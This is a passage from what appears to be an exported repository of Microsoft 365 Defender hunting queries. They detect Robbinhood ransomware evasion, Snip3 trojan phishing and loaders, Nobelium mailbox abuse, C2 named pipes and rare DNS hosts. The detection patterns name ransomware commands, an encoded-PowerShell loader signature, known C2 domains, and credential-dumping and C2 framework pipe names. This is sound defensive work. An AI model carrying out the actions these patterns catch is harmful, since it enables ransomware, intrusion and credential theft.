    "content": "# Detect security evasion related to the Robbinhood ransomware campaign\n\nThis query was originally published in the threat analytics report, *Ransomware continues to hit healthcare, critical services*. There is also a related [blog](https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/).\n\n[Robbinhood](https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Ransom:Win32/Robinhood.A&ThreatID=2147735370) is ransomware that has been involved in several high-profile incidents, including a 2019 [attack](https://www.nytimes.com/2019/05/22/us/baltimore-ransomware.html) on the city of Baltimore, Maryland. Robbinhood operators often employ a distinctive defense evasion technique, where they load a vulnerable driver on to a target and exploit it, in order to turn off security software -- essentially using the driver as malware.\n\nThe following query detects a late stage of this technique, when the operator is issuing commands to turn off the driver.\n\nFor a query that detects an earlier stage of this technique, see [Detect loading of vulnerable drivers by Robbinhood ransomware campaign](robbinhood-driver.md).\n\n## Query\n\n```Kusto\n// RobbinHood execution and security evasion \nDeviceProcessEvents \n| where Timestamp > ago(7d) \n| where InitiatingProcessFileName =~ \"winlogon.exe\"  \n| where FileName == \"cmd.exe\" and ProcessCommandLine has_any(\"taskkill\", \"net\", \n\"robbin\", \"vssadmin\", \"bcdedit\", \"wevtutil\") \n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|-|-|-|\n| Initial access |  |  |\n| Execution | v |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion | v |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team"
  },
  {
    "path": "Campaigns/snip3-aviation-targeting-emails.md",
    "content": "# Detect keywords associated with Snip3 campaign emails\n\nSnip3 is a family of related remote access trojans. Although the malware in this family contain numerous small variations, they all exhibit similar behaviors and techniques.\n\nThe following query looks for keywords observed in emails involved in a Snip3-associated campaign in April and May of 2021. The emails often have an aviation theme, and the campaign primarily targets organizations involved in travel or  aviation. Note that keywords may change overtime. These emails were used to send malicious legitimate hosting provider links that redirected to VBS documents hosting loaders. The loaders initiate RevengeRAT or AsyncRAT downloads that eventually establish persistence on targets and exfiltrate data.\n\n## Query\n\n```kusto\nlet SubjectTerms = \npack_array(\"Cargo Charter\",\"Airbus Meeting\",\"WorldWide Symposium\",\"Airbus Family\",\"Flight Request\",\n\"Advice from NetJets\",\"May/ACMI\",\"AIRCRAFT PRESENTATION\",\"Airworthiness\", \"Air Quote\", \"RFQ #9B17811\");\nEmailEvents\n| where SenderDisplayName has_any(SubjectTerms)\n// Optional Sender restriction for organizations with high FP\n// where SenderIpv4 == \"192.145.239.18\"  \n| where EmailDirection == \"Inbound\"  \n| join EmailUrlInfo on $left.NetworkMessageId == $right.NetworkMessageId\n| where Url has_any(\"drive.google.com\",\"1drv.ms\",\"onedrive.live.com\")\n| take 100\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access | v |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Campaigns/snip3-detectsanboxie-function-call.md",
    "content": "# Detect Snip3 loader call to DetectSandboxie function\n\nSnip3 is a family of related remote access trojans. Although the malware in this family contain numerous small variations, they all exhibit similar behaviors and techniques.\n\nThe following query looks for a function call to a method named *DetectSandboxie*. This method is used in RevengeRAT and AsyncRAT instances involved in a campaign targeting the aviation industry, first observed in 2021. It has also been associated in the past other malware, such as WannaCry and QuasarRAT. Individual PowerShell functions can be detected in the same way in some instances, though care should be taken to ensure that the command name is unique -- otherwise, this query may return many false positives.\n\n## Query\n\n```kusto\nDeviceEvents\n| where ActionType == \"PowerShellCommand\" \n| where AdditionalFields == \"{\\\"Command\\\":\\\"DetectSandboxie\\\"}\"\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution | v |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion | v |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Campaigns/snip3-encoded-powershell-structure.md",
    "content": "# Detect Snip3 loader-encoded PowerShell command\n\nSnip3 is a family of related remote access trojans. Although the malware in this family contain numerous small variations, they all exhibit similar behaviors and techniques.\n\nThe following query looks for the method that Snip3 malware use to obfuscate PowerShell commands with UTF8 encoding. This technique is intended to evade detection from security products, and avoids the more standard switches used for encoding in malware such as Emotet.\n\nAt present, this method of encoding is much more rare, being seen largely with loader installation of RevengeRAT, AsyncRAT and other RATs used in campaigns targeting the aviation industry.\n\n## Query\n\n```kusto\nDeviceFileEvents\n| where InitiatingProcessFileName =~ \"powershell.exe\"\n| where InitiatingProcessCommandLine has_all (\"IEX\",\"Text.Encoding\",\"UTF8.GetString(@\")\n| where InitiatingProcessCommandLine has_any (\"Unrestricted\",\"Hidden\")\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion | v |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Campaigns/snip3-malicious-network-connectivity.md",
    "content": "# Detect malicious use of RegAsm, RegSvcs, and InstallUtil by Snip3\n\nSnip3 is a family of related remote access trojans. Although the malware in this family contain numerous small variations, they all exhibit similar behaviors and techniques.\n\nThe following query looks for potentially hollowed processes that may be used to facilitate command-and-control or exfiltration by Snip3 malware. This technique has been used in recent cases to exfiltrate data, including credentials. \n\nThe query may return additional malware or campaigns not necessarily associated with Snip3. However, Microsoft recommends triaging all non-benign results as potential malware.\n\n## Query\n\n```kusto\nDeviceNetworkEvents \n| where InitiatingProcessFileName in (\"RegSvcs.exe\",\"RegAsm.exe\", \"InstallUtil.exe\") \n| where InitiatingProcessCommandLine in (\"\\\"RegAsm.exe\\\"\",\"\\\"RegSvcs.exe\\\"\",\"\\\"InstallUtil.exe\\\"\") \n| where InitiatingProcessParentFileName endswith \"Powershell.exe\"\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control | v |  |\n| Exfiltration | v |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Campaigns/snip3-revengerat-c2-exfiltration.md",
    "content": "# Detect Snip3 associated communication protocols\n\nSnip3 is a family of related remote access trojans. Although the malware in this family contain numerous small variations, they all exhibit similar behaviors and techniques.\n\nThe following query looks for network connections using any protocols associated with recent RevengeRAT, AsyncRAT, and other malware campaigns targeting the aviation industry.\n\nThis activity is often followed by connections to copy-and-paste sites such as pastebin.com, stikked.ch, academia.edu, and archive.org. Many of these connections will occur on non-standard ports.\n\n## Query\n\n```kusto\nDeviceNetworkEvents \n| where RemoteUrl in (\"mail.alamdarhardware.com\",\"kexa600200.ddns.net\",\"h0pe1759.ddns.net\",\"n0ahark2021.ddns.net\",\" kimjoy007.dyndns.org\",\" kimjoy.ddns.net\",\" asin8988.ddns.net\",\" asin8989.ddns.net\", \"asin8990.ddns.net\")\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control | v |  |\n| Exfiltration | v |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Collection/Anomaly of MailItemAccess by Other Users Mailbox [Nobelium].md",
    "content": "# Anomalous use of MailItemAccess on other users' mailboxes [Nobelium]\n\nThis query looks for users accessing multiple other users' mailboxes, or accessing multiple folders in another user's mailbox.\n\nThis query is inspired by an Azure Sentinel [detection](https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/OfficeActivity/AnomolousUserAccessingOtherUsersMailbox.yaml).\n\n## Query\n\n```Kusto\n// Adjust this value to exclude historical activity as known good\nlet LookBack = 30d;\n// Adjust this value to change hunting timeframe\nlet TimeFrame = 14d;\n// Adjust this value to alter how many mailbox (other than their own) a user needs to access before being included in results\nlet UserThreshold = 1;\n// Adjust this value to alter how many mailbox folders in other's email accounts a users needs to access before being included in results.\nlet FolderThreshold = 5;\nlet relevantMailItems = materialize (\n    CloudAppEvents\n    | where Timestamp > ago(LookBack)\n    | where ActionType == \"MailItemsAccessed\"\n    | where RawEventData['ResultStatus'] == \"Succeeded\"\n    | extend UserId = tostring(RawEventData['UserId'])\n    | extend MailboxOwnerUPN = tostring(RawEventData['MailboxOwnerUPN'])\n    | where tolower(UserId) != tolower(MailboxOwnerUPN)\n    | extend Folders = RawEventData['Folders']\n    | where isnotempty(Folders)\n    | mv-expand parse_json(Folders)\n    | extend foldersPath = tostring(Folders.Path)  \n    | where isnotempty(foldersPath)\n    | extend ClientInfoString = RawEventData['ClientInfoString']\n    | extend MailBoxGuid = RawEventData['MailboxGuid']\n    | extend ClientIP = iif(IPAddress startswith \"[\", extract(\"\\\\[([^\\\\]]*)\", 1, IPAddress), IPAddress)\n    | project Timestamp, ClientIP, UserId, MailboxOwnerUPN, tostring(ClientInfoString), foldersPath, tostring(MailBoxGuid)    \n);\nlet relevantMailItemsBaseLine = \n    relevantMailItems\n    | where Timestamp between(ago(LookBack) ..  ago(TimeFrame))    \n    | distinct MailboxOwnerUPN, UserId;\nlet relevantMailItemsHunting = \n    relevantMailItems\n    | where Timestamp between(ago(TimeFrame) .. now())\n    | distinct ClientIP, UserId, MailboxOwnerUPN, ClientInfoString, foldersPath, MailBoxGuid; \nrelevantMailItemsBaseLine \n    | join kind=rightanti relevantMailItemsHunting\n    on MailboxOwnerUPN, UserId\n    | summarize FolderCount = dcount(tostring(foldersPath)),\n                UserCount = dcount(MailBoxGuid),\n                foldersPathSet = make_set(foldersPath),\n                ClientInfoStringSet = make_set(ClientInfoString), \n                ClientIPSet = make_set(ClientIP),\n                MailBoxGuidSet = make_set(MailBoxGuid),\n                MailboxOwnerUPNSet = make_set(MailboxOwnerUPN)\n            by UserId\n    | where UserCount > UserThreshold or FolderCount > FolderThreshold\n    | extend Reason = case( \n                            UserCount > UserThreshold and FolderCount > FolderThreshold, \"Both User and Folder Threshold Exceeded\",\n                            FolderCount > FolderThreshold and UserCount < UserThreshold, \"Folder Count Threshold Exceeded\",\n                            \"User Threshold Exceeded\"\n                            )\n    | sort by UserCount desc\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection | V |  |\n| Command and control |  |  |\n| Exfiltration | |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## See also\n\n* [Locate Nobelium implant receiving DNS response](../Campaigns/c2-lookup-from-nonbrowser[Nobelium].md)\n* [Locate Nobelium implant receiving DNS response](../Campaigns/c2-lookup-response[Nobelium].md)\n* [Compromised certificate [Nobelium]](../Campaigns/compromised-certificate[Nobelium].md)\n* [FireEye Red Team tool CVEs [Nobelium]](../Campaigns/fireeye-red-team-tools-CVEs%20[Nobelium].md)\n* [FireEye Red Team tool HASHs [Nobelium]](../Campaigns/fireeye-red-team-tools-HASHs%20[Nobelium].md)\n* [View data on software identified as affected by Nobelium campaign](../Campaigns/known-affected-software-orion[Nobelium].md)\n* [Locate SolarWinds processes launching suspicious PowerShell commands](../Campaigns/launching-base64-powershell[Nobelium].md)\n* [Locate SolarWinds processes launching command prompt with the echo command](../Campaigns/launching-cmd-echo[Nobelium].md)\n* [Locate Nobelium-related malicious DLLs created in the system or locally](../Campaigns/locate-dll-created-locally[Nobelium].md)\n* [Locate Nobelium-related malicious DLLs loaded in memory](../Campaigns/locate-dll-loaded-in-memory[Nobelium].md)\n* [Get an inventory of SolarWinds Orion software possibly affected by Nobelium](../Campaigns/possible-affected-software-orion[Nobelium].md)\n* [Nobelium campaign DNS pattern](../Command%20and%20Control/DNSPattern%20[Nobelium].md)\n* [Nobelium encoded domain in URL](../Command%20and%20Control/EncodedDomainURL%20[Nobelium].md)\n* [Domain federation trust settings modified](../Defense%20evasion/ADFSDomainTrustMods[Nobelium].md)\n* [Discovering potentially tampered devices [Nobelium]](../Defense%20evasion/Discovering%20potentially%20tampered%20devices%20[Nobelium].md)\n* [Mail.Read or Mail.ReadWrite permissions added to OAuth application](../Defense%20evasion/MailPermissionsAddedToApplication[Nobelium].md)\n* [Suspicious enumeration using Adfind tool](../Discovery/SuspiciousEnumerationUsingAdfind[Nobelium].md)\n* [Anomalous use of MailItemAccess by GraphAPI [Nobelium]](../Exfiltration/Anomaly%20of%20MailItemAccess%20by%20GraphAPI%20[Nobelium].md)\n* [MailItemsAccessed throttling [Nobelium]](../Exfiltration/MailItemsAccessed%20Throttling%20[Nobelium].md)\n* [OAuth apps accessing user mail via GraphAPI [Nobelium]](../Exfiltration/OAuth%20Apps%20accessing%20user%20mail%20via%20GraphAPI%20[Nobelium].md)\n* [OAuth apps reading mail via GraphAPI and directly [Nobelium]](../Exfiltration/OAuth%20Apps%20reading%20mail%20both%20via%20GraphAPI%20and%20directly%20[Nobelium].md)\n* [OAuth apps reading mail via GraphAPI anomaly [Nobelium]](../Exfiltration/OAuth%20Apps%20reading%20mail%20via%20GraphAPI%20anomaly%20[Nobelium].md)\n* [Credentials were added to an Azure AD application after 'Admin Consent' permissions granted [Nobelium]](../Persistence/CredentialsAddAfterAdminConsentedToApp[Nobelium].md)\n* [New access credential added to application or service principal](../Persistence/NewAppOrServicePrincipalCredential[Nobelium].md)\n* [Add uncommon credential type to application [Nobelium]](../Privilege%20escalation/Add%20uncommon%20credential%20type%20to%20application%20[Nobelium].md)\n* [ServicePrincipalAddedToRole [Nobelium]](../Privilege%20escalation/ServicePrincipalAddedToRole%20[Nobelium].md)\n\n## Contributor info\n\n**Contributor:** Stefan Sellmer\n**GitHub alias:** @stesell\n**Organization:** Microsoft 365 Defender\n**Contact info:** stesell@microsoft.com"
  },
  {
    "path": "Collection/HostExportingMailboxAndRemovingExport[Solarigate].md",
    "content": "#  Host Exporting Mailbox and Removing Export\nThis hunting query looks for hosts exporting a mailbox from an on-prem Exchange server, followed by\nthat same host removing the export within a short time window. This pattern has been observed by attackers \nwhen exfiltrating emails from a target environment. A Mailbox export is unlikely to be a common command run so look for\nactivity from unexpected hosts and accounts.\n\nReference: https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/\n\nQuery insprired by Azure Sentinel detection https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/SecurityEvent/HostExportingMailboxAndRemovingExport.yaml\n## Query\n```\n// Adjust the timeframe to change the window events need to occur within to alert\nlet timeframe = 1h;\nDeviceProcessEvents\n  | where FileName  in~ (\"powershell.exe\", \"cmd.exe\")\n  | where ProcessCommandLine  contains 'New-MailboxExportRequest'\n  | project-rename NewMailBoxExpCmd = ProcessCommandLine  \n  | summarize by DeviceName , timekey = bin(Timestamp, timeframe), NewMailBoxExpCmd, AccountName \n  | join kind=inner (DeviceProcessEvents\n  | where FileName in~ (\"powershell.exe\", \"cmd.exe\")\n  | where ProcessCommandLine contains 'Remove-MailboxExportRequest'\n  | project-rename RemoveMailBoxExpCmd = ProcessCommandLine\n  | summarize by DeviceName, timekey = bin(Timestamp, timeframe), RemoveMailBoxExpCmd, AccountName) on DeviceName, timekey, AccountName\n  | extend commands = pack_array(NewMailBoxExpCmd, RemoveMailBoxExpCmd)  \n  | summarize by timekey, DeviceName, tostring(commands), AccountName\n  | project-reorder timekey, DeviceName, AccountName, ['commands']\n  | extend HostCustomEntity = DeviceName, AccountCustomEntity = AccountName\n```\n## Category\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion | |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection | V |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## Contributor info\n**Contributor:** Stefan Sellmer\n**GitHub alias:** @stesell\n**Organization:** Microsoft 365 Defender\n**Contact info:** stesell@microsoft.com"
  },
  {
    "path": "Collection/MailItemsAccessedTimeSeries[Solarigate].md",
    "content": "#  Host Exporting Mailbox and Removing Export\nIdentifies anomalous increases in Exchange mail items accessed operations.\nThe query leverages KQL built-in anomaly detection algorithms to find large deviations from baseline patterns.\nSudden increases in execution frequency of sensitive actions should be further investigated for malicious activity.\nManually change scorethreshold from 1.5 to 3 or higher to reduce the noise based on outliers flagged from the query criteria.\n\nRead more about MailItemsAccessed- https://docs.microsoft.com/microsoft-365/compliance/advanced-audit?view=o365-worldwide#mailitemsaccessed\n\nQuery insprired by Azure Sentinel detection https://github.com/Azure/Azure-Sentinel/blob/master/Detections/OfficeActivity/MailItemsAccessedTimeSeries.yaml\n## Query\n```\nlet starttime = 14d;\nlet endtime = 1d;\nlet timeframe = 1h;\nlet scorethreshold = 1.5;\nlet percentthreshold = 50;\n// Preparing the time series data aggregated hourly count of MailItemsAccessd Operation in the form of multi-value array to use with time series anomaly function.\nlet TimeSeriesData =\n    CloudAppEvents \n    | where Timestamp   between (startofday(ago(starttime))..startofday(ago(endtime)))\n    | where ActionType =~ \"MailItemsAccessed\"\n    | where Application has \"Exchange\"\n    | extend RawEventData = parse_json(RawEventData)\n    | where RawEventData.ResultStatus == \"Succeeded\"  \n    | project Timestamp, ActionType, RawEventData.MailboxOwnerUPN    \n    | make-series Total=count() on Timestamp from startofday(ago(starttime)) to startofday(ago(endtime)) step timeframe;\nlet TimeSeriesAlerts =\n  TimeSeriesData\n  | extend (anomalies, score, baseline) = series_decompose_anomalies(Total, scorethreshold, -1, 'linefit')\n  | mv-expand Total to typeof(double), Timestamp to typeof(datetime), anomalies to typeof(double), score to typeof(double), baseline to typeof(long)\n  | where anomalies > 0\n  | project Timestamp, Total, baseline, anomalies, score;\n  // Joining the flagged outlier from the previous step with the original dataset to present contextual information\n  // during the anomalyhour to analysts to conduct investigation or informed decisions.\n  TimeSeriesAlerts | where Timestamp > ago(2d)  \n  // Join against base logs since specified timeframe to retrive records associated with the hour of anomoly\n  | join (\n      CloudAppEvents \n        | where Timestamp > ago(2d)\n        | where ActionType =~ \"MailItemsAccessed\"\n        | where Application has \"Exchange\"\n        | extend RawEventData = parse_json(RawEventData)\n        | where RawEventData.ResultStatus == \"Succeeded\"  \n  ) on Timestamp\n```\n## Category\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion | |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection | V |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## Contributor info\n**Contributor:** Stefan Sellmer\n**GitHub alias:** @stesell\n**Organization:** Microsoft 365 Defender\n**Contact info:** stesell@microsoft.com"
  },
  {
    "path": "Command and Control/C2-NamedPipe.md",
    "content": "# Detects malicious SMB Named Pipes (used by common C2 frameworks)\n\nDetects the creation of a [named pipe](https://docs.microsoft.com/en-US/openspecs/windows_protocols/ms-wpo/4de75e21-36fd-440a-859b-75accc74487c) used by known APT malware.\n\n## Query\n\n```Kusto\n// maximum lookback time\nlet minTimeRange = ago(7d);\n// this is what should be constantly tweaked with default C2 framework names, search uses has_any (wildcard)\nlet badPipeNames = pack_array(\n    '\\\\psexec',                                     // PSexec default pipe\n    '\\\\paexec',                                     // PSexec default pipe\n    '\\\\remcom',                                     // PSexec default pipe\n    '\\\\csexec',                                     // PSexec default pipe\n    '\\\\isapi_http',                                 // Uroburos Malware Named Pipe\n    '\\\\isapi_dg',                                   // Uroburos Malware Named Pipe\n    '\\\\isapi_dg2',                                  // Uroburos Malware Named Pipe\n    '\\\\sdlrpc',                                     // Cobra Trojan Named Pipe http://goo.gl/8rOZUX\n    '\\\\ahexec',                                     // Sofacy group malware\n    '\\\\winsession',                                 // Wild Neutron APT malware https://goo.gl/pivRZJ\n    '\\\\lsassw',                                     // Wild Neutron APT malware https://goo.gl/pivRZJ\n    '\\\\46a676ab7f179e511e30dd2dc41bd388',           // Project Sauron https://goo.gl/eFoP4A\n    '\\\\9f81f59bc58452127884ce513865ed20',           // Project Sauron https://goo.gl/eFoP4A\n    '\\\\e710f28d59aa529d6792ca6ff0ca1b34',           // Project Sauron https://goo.gl/eFoP4A\n    '\\\\rpchlp_3',                                   // Project Sauron https://goo.gl/eFoP4A - Technical Analysis Input\n    '\\\\NamePipe_MoreWindows',                       // Cloud Hopper Annex B https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf, US-CERT Alert - RedLeaves https://www.us-cert.gov/ncas/alerts/TA17-117A\n    '\\\\pcheap_reuse',                               // Pipe used by Equation Group malware 77486bb828dba77099785feda0ca1d4f33ad0d39b672190079c508b3feb21fb0\n    '\\\\gruntsvc',                                   // Covenant default named pipe\n    '\\\\583da945-62af-10e8-4902-a8f205c72b2e',       // SolarWinds SUNBURST malware report https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html\n    '\\\\bizkaz',                                     // Snatch Ransomware https://thedfirreport.com/2020/06/21/snatch-ransomware/\n    '\\\\atctl',                                      // https://www.virustotal.com/#/file/a4ddb2664a6c87a1d3c5da5a5a32a5df9a0b0c8f2e951811bd1ec1d44d42ccf1/detection\n    '\\\\userpipe',                                   // ruag apt case\n    '\\\\iehelper',                                   // ruag apt case\n    '\\\\sdlrpc',                                     // project cobra https://www.gdatasoftware.com/blog/2015/01/23926-analysis-of-project-cobra\n    '\\\\comnap',                                     // https://www.gdatasoftware.com/blog/2015/01/23926-analysis-of-project-cobra\n    '\\\\lsadump',                                    // Cred Dump-Tools Named Pipes\n    '\\\\cachedump',                                  // Cred Dump-Tools Named Pipes\n    '\\\\wceservicepipe',                             // Cred Dump-Tools Named Pipes\n    '\\\\jaccdpqnvbrrxlaf',                           // PoshC2 default named pipe\n    '\\\\svcctl',                                     // CrackMapExec default named pipe\n    '\\\\csexecsvc'                                   // CSEXEC default named pipe\n    '\\\\status_',                                    // CS default named pipes https://github.com/Neo23x0/sigma/issues/253\n    '\\\\MSSE-',                                      // CobaltStrike default named pipe\n    '\\\\status_',                                    // CobaltStrike default named pipe\n    '\\\\msagent_',                                   // (target) CobaltStrike default named pipe\n    '\\\\postex_ssh_',                                // CobaltStrike default named pipe\n    '\\\\postex_',                                    // CobaltStrike default named pipe\n    '\\\\Posh'                                        // PoshC2 default named pipe\n);\nDeviceEvents\n| where ActionType == \"NamedPipeEvent\" and Timestamp > minTimeRange\n| extend ParsedFields=parse_json(AdditionalFields)\n| where ParsedFields.FileOperation == \"File created\"\n| where ParsedFields.PipeName has_any (badPipeNames)\n| project Timestamp, ActionType, DeviceName, InitiatingProcessAccountDomain, InitiatingProcessAccountName, InitiatingProcessFolderPath, InitiatingProcessCommandLine, ParsedFields.FileOperation, ParsedFields.PipeName\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control | v |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## Contributor info\n\n**Contributor:** [@xknow_infosec](https://twitter.com/xknow_infosec)\n\nThis detection is a summary of knowledge already known. Credits only to original authors. Defender for Endpoint lately just added a new ActionType for SMB named pipes (NamedPipeEvent), which would allow new equal usecases now based on the same telemetry (for example replicating all Sysmon EventID 17/18 detections).\n\nOriginal Authors / Credits / Ressources:\n* https://github.com/SigmaHQ/sigma/blob/master/rules/windows/pipe_created/sysmon_psexec_pipes_artifacts.yml\n* https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view\n* https://github.com/SigmaHQ/sigma/blob/master/rules/windows/pipe_created/sysmon_mal_namedpipes.yml\n* https://github.com/SigmaHQ/sigma/blob/master/rules/windows/pipe_created/sysmon_mal_cobaltstrike.yml\n* https://twitter.com/d4rksystem/status/1357010969264873472\n* https://labs.f-secure.com/blog/detecting-cobalt-strike-default-modules-via-named-pipe-analysis/\n* https://github.com/Neo23x0/sigma/issues/253\n* https://github.com/SigmaHQ/sigma/blob/master/rules/windows/pipe_created/sysmon_cred_dump_tools_named_pipes.yml\n* https://github.com/SigmaHQ/sigma/blob/master/rules/windows/pipe_created/sysmon_apt_turla_namedpipes.yml\n* https://twitter.com/rpargman/status/1359961601160351744\n"
  },
  {
    "path": "Command and Control/Connection to Rare DNS Hosts.md",
    "content": "# Connection to Rare DNS Hosts\n\nThis query will break down hostnames into their second and third level domain parts and analyze the volume of connections made to the destination to look for low count entries. Note that this query is likely to be rather noisy in many organziations and may benefit from analysis over time, anomaly detection, or perhaps machine learning.\n\n## Query\n```\nlet LowCountThreshold = 10;\nlet MaxAge = ago(1d);\nDeviceNetworkEvents\n| where Timestamp > MaxAge\n| where isnotempty( RemoteUrl) and RemoteUrl contains \".\"\n| extend RemoteDomain = iff(RemoteUrl matches regex @'^([a-z0-9]+(-[a-z0-9]+)*\\.)+[a-z]{2,}$', tolower(RemoteUrl), tostring(parse_url(RemoteUrl).Host))\n| top-nested 100000 of RemoteDomain by dcount(DeviceId) asc\n| where aggregated_RemoteDomain <= LowCountThreshold \n| join kind=rightsemi (\n    DeviceNetworkEvents\n    | where Timestamp > ago(7d)\n    | where isnotempty( RemoteUrl) and RemoteUrl contains \".\"\n    | extend RemoteDomain = iff(RemoteUrl matches regex @'^([a-z0-9]+(-[a-z0-9]+)*\\.)+[a-z]{2,}$', tolower(RemoteUrl), tostring(parse_url(RemoteUrl).Host))\n) on RemoteDomain \n| extend DomainArray = split(RemoteDomain, '.')\n| extend SecondLevelDomain = strcat(tostring(DomainArray[-2]),'.', 